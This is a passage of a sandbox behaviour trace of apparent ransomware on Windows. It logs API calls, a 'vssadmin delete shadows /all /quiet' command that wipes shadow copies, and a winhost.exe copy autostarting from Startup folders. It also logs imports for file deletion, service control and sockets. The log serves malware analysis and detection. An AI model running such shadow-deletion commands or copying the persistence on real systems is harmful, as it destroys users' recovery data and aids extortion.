lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0064.201] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0064.201] GetProcessHeap () returned 0x3a0000 [0064.201] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x128) returned 0x3b5b70 [0064.201] GetProcessHeap () returned 0x3a0000 [0064.201] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x240) returned 0x3a1ab0 [0064.201] GetProcessHeap () returned 0x3a0000 [0064.201] RtlReAllocateHeap (Heap=0x3a0000, Flags=0x0, Ptr=0x3a1ab0, Size=0x12a) returned 0x3a1ab0 [0064.201] GetProcessHeap () returned 0x3a0000 [0064.201] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3a1ab0) returned 0x12a [0064.201] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a90f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0064.202] GetProcessHeap () returned 0x3a0000 [0064.202] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xe8) returned 0x3b9db0 [0064.202] GetProcessHeap () returned 0x3a0000 [0064.202] RtlReAllocateHeap (Heap=0x3a0000, Flags=0x0, Ptr=0x3b9db0, Size=0x7e) returned 0x3b9db0 [0064.202] GetProcessHeap () returned 0x3a0000 [0064.202] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b9db0) returned 0x7e [0064.202] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0064.202] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x28f0d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28f0d0) returned 0xffffffffffffffff [0064.203] GetLastError () returned 0x2 [0064.203] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x28f0d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28f0d0) returned 0xffffffffffffffff [0064.203] GetLastError () returned 0x2 [0064.203] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0064.204] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x28f0d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28f0d0) returned 0x3b9ba0 [0064.204] FindClose (in: hFindFile=0x3b9ba0 | out: hFindFile=0x3b9ba0) returned 1 [0064.204] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x28f0d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28f0d0) returned 0xffffffffffffffff [0064.204] GetLastError () returned 0x2 [0064.205] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x28f0d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28f0d0) returned 0x3b9ba0 [0064.205] FindClose (in: hFindFile=0x3b9ba0 | out: hFindFile=0x3b9ba0) returned 1 [0064.205] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0064.205] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0064.205] GetConsoleTitleW (in: lpConsoleTitle=0x28f620, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0064.206] GetProcessHeap () returned 0x3a0000 [0064.206] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x21c) returned 0x3b9110 [0064.206] GetConsoleTitleW (in: lpConsoleTitle=0x3b9120, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0064.206] GetProcessHeap () returned 0x3a0000 [0064.206] RtlReAllocateHeap (Heap=0x3a0000, Flags=0x0, Ptr=0x3b9110, Size=0xc0) returned 0x3b9110 [0064.206] GetProcessHeap () returned 0x3a0000 [0064.207] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b9110) returned 0xc0 [0064.207] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0064.209] GetProcessHeap () returned 0x3a0000 [0064.209] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b9110 | out: hHeap=0x3a0000) returned 1 [0064.209] InitializeProcThreadAttributeList (in: lpAttributeList=0x28f3d8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x28f398 | out: lpAttributeList=0x28f3d8, lpSize=0x28f398) returned 1 [0064.209] UpdateProcThreadAttribute (in: lpAttributeList=0x28f3d8, dwFlags=0x0, Attribute=0x60001, lpValue=0x28f388, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x28f3d8, lpPreviousValue=0x0) returned 1 [0064.209] GetStartupInfoW (in: lpStartupInfo=0x28f4f0 | out: lpStartupInfo=0x28f4f0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0064.209] GetProcessHeap () returned 0x3a0000 [0064.209] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x20) returned 0x3b4640 [0064.210] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0064.210] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0064.210] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0064.210] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0064.210] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0064.210] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0064.210] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0064.210] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0064.210] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0064.210] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0064.211] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0064.211] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0064.211] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0064.211] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0064.211] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0064.211] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0064.211] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0064.211] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0064.211] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.211] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.211] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.211] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.212] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.212] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.212] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.212] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.212] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0064.212] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0064.212] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0064.212] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0064.212] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0064.212] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0064.212] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0064.212] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0064.212] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0064.212] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0064.212] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0064.213] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0064.213] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0064.213] GetProcessHeap () returned 0x3a0000 [0064.213] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b4640 | out: hHeap=0x3a0000) returned 1 [0064.213] GetProcessHeap () returned 0x3a0000 [0064.213] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x12) returned 0x3b8900 [0064.213] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x28f410*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x28f3c0 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x28f3c0*(hProcess=0x50, hThread=0x54, dwProcessId=0x89c, dwThreadId=0x8ac)) returned 1 [0064.741] CloseHandle (hObject=0x54) returned 1 [0064.741] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0064.741] GetProcessHeap () returned 0x3a0000 [0064.741] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3beb10 | out: hHeap=0x3a0000) returned 1 [0064.741] GetEnvironmentStringsW () returned 0x3beb10* [0064.741] GetProcessHeap () returned 0x3a0000 [0064.741] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xb0e) returned 0x3bf630 [0064.742] FreeEnvironmentStringsW (penv=0x3beb10) returned 1 [0064.742] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x28ecc8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x28ecc8, ReturnLength=0x0) returned 0x0 [0064.742] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd4000, lpBuffer=0x28ed00, nSize=0x380, lpNumberOfBytesRead=0x28ecc0 | out: lpBuffer=0x28ed00*, lpNumberOfBytesRead=0x28ecc0*=0x380) returned 1 [0064.743] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) Process: id = "3" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x342e3000" os_pid = "0x478" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x990" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 14 os_tid = 0x80c Process: id = "4" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x30a0c000" os_pid = "0x89c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x990" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 21 os_tid = 0x8ac Thread: id = 22 os_tid = 0x92c Thread: id = 23 os_tid = 0x94c Thread: id = 24 os_tid = 0x95c Thread: id = 25 os_tid = 0x96c Process: id = "5" image_name = "winhost.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe" page_root = "0x7931f000" os_pid = "0x4c8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x35c" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea7a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 26 os_tid = 0x4cc [0184.297] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75c40000 [0184.300] GetProcAddress (hModule=0x75c40000, lpProcName="GetProcAddress") returned 0x75c51222 [0184.300] GetProcAddress (hModule=0x75c40000, lpProcName="GetModuleHandleW") returned 0x75c534b0 [0184.300] GetProcAddress (hModule=0x75c40000, lpProcName="FindNextFileW") returned 0x75c554ee [0184.300] GetProcAddress (hModule=0x75c40000, lpProcName="FindClose") returned 0x75c54442 [0184.300] GetProcAddress (hModule=0x75c40000, lpProcName="MoveFileW") returned 0x75c69af0 [0184.300] GetProcAddress (hModule=0x75c40000, lpProcName="GetFileSizeEx") returned 0x75c559e2 [0184.300] GetProcAddress (hModule=0x75c40000, lpProcName="GetModuleFileNameW") returned 0x75c54950 [0184.300] GetProcAddress (hModule=0x75c40000, lpProcName="GetFileAttributesW") returned 0x75c51b18 [0184.301] GetProcAddress (hModule=0x75c40000, lpProcName="ExitProcess") returned 0x75c57a10 [0184.301] GetProcAddress (hModule=0x75c40000, lpProcName="GetCommandLineW") returned 0x75c55223 [0184.301] GetProcAddress (hModule=0x75c40000, lpProcName="GetComputerNameW") returned 0x75c5dd0e [0184.301] GetProcAddress (hModule=0x75c40000, lpProcName="GetComputerNameA") returned 0x75c6b6e0 [0184.301] GetProcAddress (hModule=0x75c40000, lpProcName="CreateMutexW") returned 0x75c5424c [0184.301] GetProcAddress (hModule=0x75c40000, lpProcName="lstrlenW") returned 0x75c51700 [0184.301] GetProcAddress (hModule=0x75c40000, lpProcName="lstrlenA") returned 0x75c55a4b [0184.301] GetProcAddress (hModule=0x75c40000, lpProcName="GetCurrentProcess") returned 0x75c51809 [0184.302] GetProcAddress (hModule=0x75c40000, lpProcName="WaitForSingleObject") returned 0x75c51136 [0184.302] GetProcAddress (hModule=0x75c40000, lpProcName="GetLogicalDrives") returned 0x75c55371 [0184.302] GetProcAddress (hModule=0x75c40000, lpProcName="GetTickCount") returned 0x75c5110c [0184.302] GetProcAddress (hModule=0x75c40000, lpProcName="DeleteFileW") returned 0x75c589b3 [0184.302] GetProcAddress (hModule=0x75c40000, lpProcName="WideCharToMultiByte") returned 0x75c5170d [0184.302] GetProcAddress (hModule=0x75c40000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75c51916 [0184.302] GetProcAddress (hModule=0x75c40000, lpProcName="Sleep") returned 0x75c510ff [0184.302] GetProcAddress (hModule=0x75c40000, lpProcName="LeaveCriticalSection") returned 0x76f12270 [0184.302] GetProcAddress (hModule=0x75c40000, lpProcName="ReadFile") returned 0x75c53ed3 [0184.302] GetProcAddress (hModule=0x75c40000, lpProcName="CreateFileW") returned 0x75c53f5c [0184.303] GetProcAddress (hModule=0x75c40000, lpProcName="OpenMutexW") returned 0x75c55151 [0184.303] GetProcAddress (hModule=0x75c40000, lpProcName="EnterCriticalSection") returned 0x76f122b0 [0184.303] GetProcAddress (hModule=0x75c40000, lpProcName="WaitForMultipleObjects") returned 0x75c54220 [0184.303] GetProcAddress (hModule=0x75c40000, lpProcName="lstrcmpiW") returned 0x75c6d5cd [0184.303] GetProcAddress (hModule=0x75c40000, lpProcName="lstrcmpiA") returned 0x75c53e8e [0184.303] GetProcAddress (hModule=0x75c40000, lpProcName="DeleteCriticalSection") returned 0x76f245f5 [0184.303] GetProcAddress (hModule=0x75c40000, lpProcName="ReleaseMutex") returned 0x75c5111e [0184.303] GetProcAddress (hModule=0x75c40000, lpProcName="CloseHandle") returned 0x75c51410 [0184.303] GetProcAddress (hModule=0x75c40000, lpProcName="GetVersion") returned 0x75c54467 [0184.304] GetProcAddress (hModule=0x75c40000, lpProcName="CreateThread") returned 0x75c534d5 [0184.304] GetProcAddress (hModule=0x75c40000, lpProcName="ExpandEnvironmentStringsW") returned 0x75c54173 [0184.304] GetProcAddress (hModule=0x75c40000, lpProcName="QueryPerformanceCounter") returned 0x75c51725 [0184.304] GetProcAddress (hModule=0x75c40000, lpProcName="QueryPerformanceFrequency") returned 0x75c541f0 [0184.304] GetProcAddress (hModule=0x75c40000, lpProcName="GetCurrentProcessId") returned 0x75c511f8 [0184.304] GetProcAddress (hModule=0x75c40000, lpProcName="SetFileAttributesW") returned 0x75c6d4f7 [0184.304] GetProcAddress (hModule=0x75c40000, lpProcName="GetVolumeInformationW") returned 0x75c6c860 [0184.304] GetProcAddress (hModule=0x75c40000, lpProcName="WriteFile") returned 0x75c51282 [0184.304] GetProcAddress (hModule=0x75c40000, lpProcName="SetFilePointerEx") returned 0x75c6c807 [0184.304] GetProcAddress (hModule=0x75c40000, lpProcName="SetEndOfFile") returned 0x75c6ce2e [0184.305] GetProcAddress (hModule=0x75c40000, lpProcName="FindFirstFileW") returned 0x75c54435 [0184.305] GetProcAddress (hModule=0x75c40000, lpProcName="GetProcessHeap") returned 0x75c514e9 [0184.305] GetProcAddress (hModule=0x75c40000, lpProcName="HeapReAlloc") returned 0x76f31f6e [0184.305] GetProcAddress (hModule=0x75c40000, lpProcName="HeapAlloc") returned 0x76f1e026 [0184.305] GetProcAddress (hModule=0x75c40000, lpProcName="HeapFree") returned 0x75c514c9 [0184.305] GetProcAddress (hModule=0x75c40000, lpProcName="CreatePipe") returned 0x75cd415b [0184.305] GetProcAddress (hModule=0x75c40000, lpProcName="SetHandleInformation") returned 0x75c6195c [0184.305] GetProcAddress (hModule=0x75c40000, lpProcName="CreateProcessW") returned 0x75c5103d [0184.305] GetProcAddress (hModule=0x75c40000, lpProcName="CompareStringW") returned 0x75c53bca [0184.305] GetProcAddress (hModule=0x75c40000, lpProcName="CompareStringA") returned 0x75c53c5a [0184.306] GetProcAddress (hModule=0x75c40000, lpProcName="OpenProcess") returned 0x75c51986 [0184.306] GetProcAddress (hModule=0x75c40000, lpProcName="TerminateProcess") returned 0x75c6d802 [0184.306] GetProcAddress (hModule=0x75c40000, lpProcName="GetSystemTime") returned 0x75c55a96 [0184.306] GetProcAddress (hModule=0x75c40000, lpProcName="SystemTimeToFileTime") returned 0x75c55a7e [0184.306] GetProcAddress (hModule=0x75c40000, lpProcName="GetLastError") returned 0x75c511c0 [0184.306] GetProcAddress (hModule=0x75c40000, lpProcName="CreateToolhelp32Snapshot") returned 0x75c7735f [0184.306] GetProcAddress (hModule=0x75c40000, lpProcName="Process32NextW") returned 0x75c7896c [0184.306] GetProcAddress (hModule=0x75c40000, lpProcName="Process32FirstW") returned 0x75c78baf [0184.306] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74ab0000 [0186.154] GetProcAddress (hModule=0x74ab0000, lpProcName="RegOpenKeyExW") returned 0x74ac468d [0186.155] GetProcAddress (hModule=0x74ab0000, lpProcName="RegQueryValueExW") returned 0x74ac46ad [0186.155] GetProcAddress (hModule=0x74ab0000, lpProcName="RegSetValueExW") returned 0x74ac14d6 [0186.156] GetProcAddress (hModule=0x74ab0000, lpProcName="RegCloseKey") returned 0x74ac469d [0186.156] GetProcAddress (hModule=0x74ab0000, lpProcName="OpenProcessToken") returned 0x74ac4304 [0186.156] GetProcAddress (hModule=0x74ab0000, lpProcName="GetTokenInformation") returned 0x74ac431c [0186.156] GetProcAddress (hModule=0x74ab0000, lpProcName="OpenSCManagerW") returned 0x74abca64 [0186.156] GetProcAddress (hModule=0x74ab0000, lpProcName="OpenServiceW") returned 0x74abca4c [0186.156] GetProcAddress (hModule=0x74ab0000, lpProcName="CloseServiceHandle") returned 0x74ac369c [0186.156] GetProcAddress (hModule=0x74ab0000, lpProcName="ControlService") returned 0x74ad7144 [0186.156] GetProcAddress (hModule=0x74ab0000, lpProcName="QueryServiceStatus") returned 0x74ac2a86 [0186.157] GetProcAddress (hModule=0x74ab0000, lpProcName="EnumDependentServicesW") returned 0x74ab1e3a [0186.157] GetProcAddress (hModule=0x74ab0000, lpProcName="EnumServicesStatusExW") returned 0x74abb466 [0186.157] LoadLibraryA (lpLibFileName="user32.dll") returned 0x75170000 [0186.747] GetProcAddress (hModule=0x75170000, lpProcName="SystemParametersInfoW") returned 0x751890d3 [0186.747] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75d50000 [0187.736] GetProcAddress (hModule=0x75d50000, lpProcName="ShellExecuteExW") returned 0x75d71e46 [0187.736] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x76ef0000 [0187.737] GetProcAddress (hModule=0x76ef0000, lpProcName="NtQuerySystemInformation") returned 0x76f0fda0 [0187.737] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x732a0000 [0187.843] GetProcAddress (hModule=0x732a0000, lpProcName="WNetCloseEnum") returned 0x732a2dd6 [0187.843] GetProcAddress (hModule=0x732a0000, lpProcName="WNetOpenEnumW") returned 0x732a2f06 [0187.843] GetProcAddress (hModule=0x732a0000, lpProcName="WNetEnumResourceW") returned 0x732a3058 [0187.843] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x753d0000 [0187.852] GetProcAddress (hModule=0x753d0000, lpProcName="WSAStartup") returned 0x753d3ab2 [0187.852] GetProcAddress (hModule=0x753d0000, lpProcName="socket") returned 0x753d3eb8 [0187.852] GetProcAddress (hModule=0x753d0000, lpProcName="send") returned 0x753d6f01 [0187.852] GetProcAddress (hModule=0x753d0000, lpProcName="recv") returned 0x753d6b0e [0187.852] GetProcAddress (hModule=0x753d0000, lpProcName="connect") returned 0x753d6bdd [0187.852] GetProcAddress (hModule=0x753d0000, lpProcName="closesocket") returned 0x753d3918 [0187.853] GetProcAddress (hModule=0x753d0000, lpProcName="gethostbyname") returned 0x753e7673 [0187.853] GetProcAddress (hModule=0x753d0000, lpProcName="inet_addr") returned 0x753d311b [0187.853] GetProcAddress (hModule=0x753d0000, lpProcName="ntohl") returned 0x753d2d57 [0187.853] GetProcAddress (hModule=0x753d0000, lpProcName="htonl") returned 0x753d2d57 [0187.853] GetProcAddress (hModule=0x753d0000, lpProcName="htons") returned 0x753d2d8b [0187.853] GetProcessHeap () returned 0x4f0000 [0187.854] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x20) returned 0x504240 [0187.854] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=10777543317) returned 1 [0187.854] GetTickCount () returned 0x113a1fa [0187.854] GetCurrentProcessId () returned 0x4c8 [0187.856] GetTickCount () returned 0x113a1fa [0187.856] GetTickCount () returned 0x113a1fa [0187.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x20) returned 0x504268 [0187.856] GetVersion () returned 0x1db10106 [0187.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7) returned 0x4f3828 [0187.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x500d48 [0187.856] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x500d48, Size=0x20) returned 0x5042b8 [0187.856] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5042b8, Size=0x40) returned 0x504828 [0187.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x504aa0 [0187.858] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_I28474A") returned 0x84 [0187.858] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4f3828 | out: hHeap=0x4f0000) returned 1 [0187.859] lstrlenW (lpString="Global\\syncronize_") returned 18 [0187.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504828 | out: hHeap=0x4f0000) returned 1 [0187.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7) returned 0x4f3828 [0187.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x500d48 [0187.859] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x500d48, Size=0x20) returned 0x5042b8 [0187.859] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5042b8, Size=0x40) returned 0x504828 [0187.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x514aa8 [0187.861] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_I28474U") returned 0x88 [0187.861] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4f3828 | out: hHeap=0x4f0000) returned 1 [0187.861] lstrlenW (lpString="Global\\syncronize_") returned 18 [0187.861] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504828 | out: hHeap=0x4f0000) returned 1 [0187.861] GetVersion () returned 0x1db10106 [0187.861] GetCurrentProcess () returned 0xffffffff [0187.862] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0187.862] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0187.862] CloseHandle (hObject=0x8c) returned 1 [0187.862] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x102 [0187.862] ExitProcess (uExitCode=0x0) Process: id = "6" image_name = "winhost.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe" page_root = "0x79e3b000" os_pid = "0x4d0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x35c" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe\" " cur_dir = 